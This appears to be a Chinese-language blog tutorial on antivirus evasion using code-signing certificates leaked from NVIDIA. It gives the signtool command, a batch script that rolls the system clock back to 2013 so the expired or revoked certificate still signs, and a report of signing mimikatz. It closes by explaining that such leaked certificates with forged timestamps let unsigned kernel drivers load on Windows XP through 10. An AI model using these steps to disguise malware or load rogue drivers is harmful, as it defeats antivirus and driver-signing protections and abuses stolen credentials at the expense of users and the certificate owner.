【免杀】用泄露的证书对exe签名

近期nvidia泄露了将近190gb的内容,其中有两个证书被公开了.正好之前学免杀的时候有听师傅讲过大公司的数字签名也能绕部分杀软.

image-20220308142043599

先来看看这个泄露的证书文件目录结构

1
2
3
4
5
6
2022-03-08  14:02    <DIR>          .
2022-03-08 14:02 <DIR> ..
2022-03-08 11:59 2,036 1111222.cer
2022-03-08 11:59 6,086 current_cert.pfx
2022-03-08 13:02 363 sign.bat
2022-03-08 11:59 423,888 signtool.exe

cer后缀和pfx后缀都是证书文件.

使用微软的证书管理工具导出一个证书,可以发现主要是编码和后缀不同,而除了pfx格式的证书文件包含私钥外,cer和p7b都是不含私钥的.

image-20220308142857115

证书中没有私钥,DER 编码二进制格式的证书文件,以cer作为证书文件后缀名。

证书中没有私钥,BASE64 编码格式的证书文件,也是以cer作为证书文件后缀名。

由Public Key Cryptography Standards #12,PKCS#12标准定义,包含了公钥和私钥的二进制格式的证书形式,以pfx作为证书文件后缀名。

使用微软的signtools工具对exe文件进行签名:

1
signtool.exe sign /v /ac 1111222.cer /f current_cert.pfx /p 密码 FileName

如果直接这样使用的话 signtool会取当前系统的本地时间作为时间参数输入 如果我们的证书是没有过期或者被吊销的那么也没什么问题,但是我们的证书是从黑客组织上泄露出来的 多半过期了或者或是证书已经被吊销了.那直接这样使用肯定是会不成功的.

image-20220308144215926

如果签名一次就要修改本地时间,那不是很麻烦,所以我们用一般用bat脚本来使用比较方便

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@echo off

cd %~dp0

@if "x%1" EQU "x" (goto help) else (goto sign)
:help
@echo Usage: sign.bat filename
@echo Note: Original file will be overrided by the signed one, no backup
@goto :end
:sign

@echo Sign File %1
set message=%DATE%
date 2013.03.08
signtool.exe sign /v /ac 1111222.cer /f current_cert.pfx /p 密码 %1
date %message%
:end

用date命令设置时间参数为2013年3月8日,证书没有过期的时间点.重新使用bat脚本对exe程序进行签名.

image-20220308144939750

这里提一下,如果系统是英文版本的话,date参数提供的时间就要符合英文系统的格式.

这里尝试签了一个mimikatz (还是直接被defender杀)

image-20220308145058124

泄露的过期证书有什么用?

根据微软的签名策略 https://docs.microsoft.com/en-us/windows-hardware/drivers/install/kernel-mode-code-signing-policy--windows-vista-and-later-

任何有Microsoft Code Verification Root交叉签名,且颁发日期在2015-07-29以前的代码签名证书,配合伪造的时间戳签名,可以生成一个在任意Windows版本下都有效的驱动签名。

因此,采用泄露的证书,信任自建时间戳根证书,就可以在WinXP~Win10(SecureBoot Enabled)任意版本成功加载驱动。